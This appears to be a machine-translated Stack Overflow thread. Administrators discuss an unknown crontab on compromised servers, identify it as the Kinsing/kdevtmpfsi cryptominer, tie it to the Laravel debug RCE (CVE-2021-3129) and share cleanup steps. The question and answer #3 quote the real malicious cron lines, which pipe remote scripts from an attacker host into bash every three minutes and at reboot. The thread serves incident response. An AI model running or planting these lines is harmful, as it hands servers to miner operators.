提问人：umeixueiro 提问时间：2/10/2021 最后编辑：Benjamin W.umeixueiro 更新时间：7/1/2021 访问量：558
有人知道吗：repo1.criticalnumeric.tech
Does somebody knows about this: repo1.criticalnumeric.tech
问：
我发现在公司服务器中有一个使用以下代码运行的 crontab：
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/kworker?time=1612899272" | bash;wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -o /dev/null -O - | bash;busybox wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -O - | bash
如果您转到该 URL，它会显示：
“这是存储库 linux 的官方页面”
这很奇怪，我们的工程师都没有在 crontab 上添加这个，这让我认为这可能是一次攻击。
有什么想法吗？
答：
0赞
Jerome O'Mahony
2/12/2021
#1
我认为这与以下链接中的问题有关。我看到类似的条目出现在我们一台服务器上的 ps aux 命令的结果上。如果你运气不好，你会发现 kdevtmpfsi 现在占用了你所有的 CPU。
评论
0赞
umeixueiro
2/13/2021
我很不幸，矿工拿走了服务器，但现在多亏了你，我与恶意软件作斗争，现在被根除。
0赞
JwMendoza
2/16/2021
#2
我们在 2 月 13 日遭受了同样的攻击，我将权限更改为 crontab 目录，仅将 rwx 更改为 root。在我们用“killall -u www-data -9”杀死 www-data 的所有进程之前，到目前为止，还没有其他违规进程的实例......会继续监控。此外，我们禁用了卷曲，因为我们不需要它。
0赞
Typhome
2/16/2021
#3
我有同样的问题。Debian 10 服务器。
我检查了 htop 并发现了这些：
curl -kL http://repo1.criticalnumeric.tech/scripts/cnc/install?time=1613422342
和
bash /tmp/.ssh-www-data/kswapd4
两者都在www-data用户下。这些进程使用全部资源（CPU 和内存）。
在 www-data cron 中发现了一些奇怪的东西
root@***:/var/www# cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/tmp.eK8YZtGlIC/.sync.log installed on Mon Feb 15 23:27:41 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
@reboot curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
我想我必须在我的服务器上重新安装 Debian 10......或者如何清洁它？
1赞
Onur Güzel
2/17/2021
#4
如果您的服务器托管使用 Laravel 框架构建的 Web 应用程序，并且您的调试模式已打开，则您可能正在遭受最近的 RCE（远程代码执行）漏洞。
关于该错误的技术细节的博客文章：https://www.ambionics.io/blog/laravel-debug-rce
CVE：https://nvd.nist.gov/vuln/detail/CVE-2021-3129
我的专业建议：永远不要在生产环境中打开调试模式的情况下运行应用程序。
1赞
umeixueiro
7/1/2021
#5
kinsing 恶意软件是造成这种攻击的原因，它控制了 crontab 以维护受感染的服务器，我有这种攻击的经验，对我来说，清理服务器的唯一方法是备份所有重要数据并从 cero 重新安装，我遵循了所有配方，没有任何工作可以阻止它， 这种攻击最重要的是更改 cron 选项卡文件的权限，避免恶意软件覆盖它。
另一件重要的事情是查看受感染用户 .ssh 的权限，因为这会阻止使用 ssh 密钥登录，因此您必须将权限恢复到原始状态才能再次授予访问权限。
搜索 /var/tmp 中某处的 kdevtmpfsi 可执行文件，将其删除并创建一个同名的虚拟文件，所有权限为 000，此操作不是解决方法，但有助于争取时间进行备份。
评论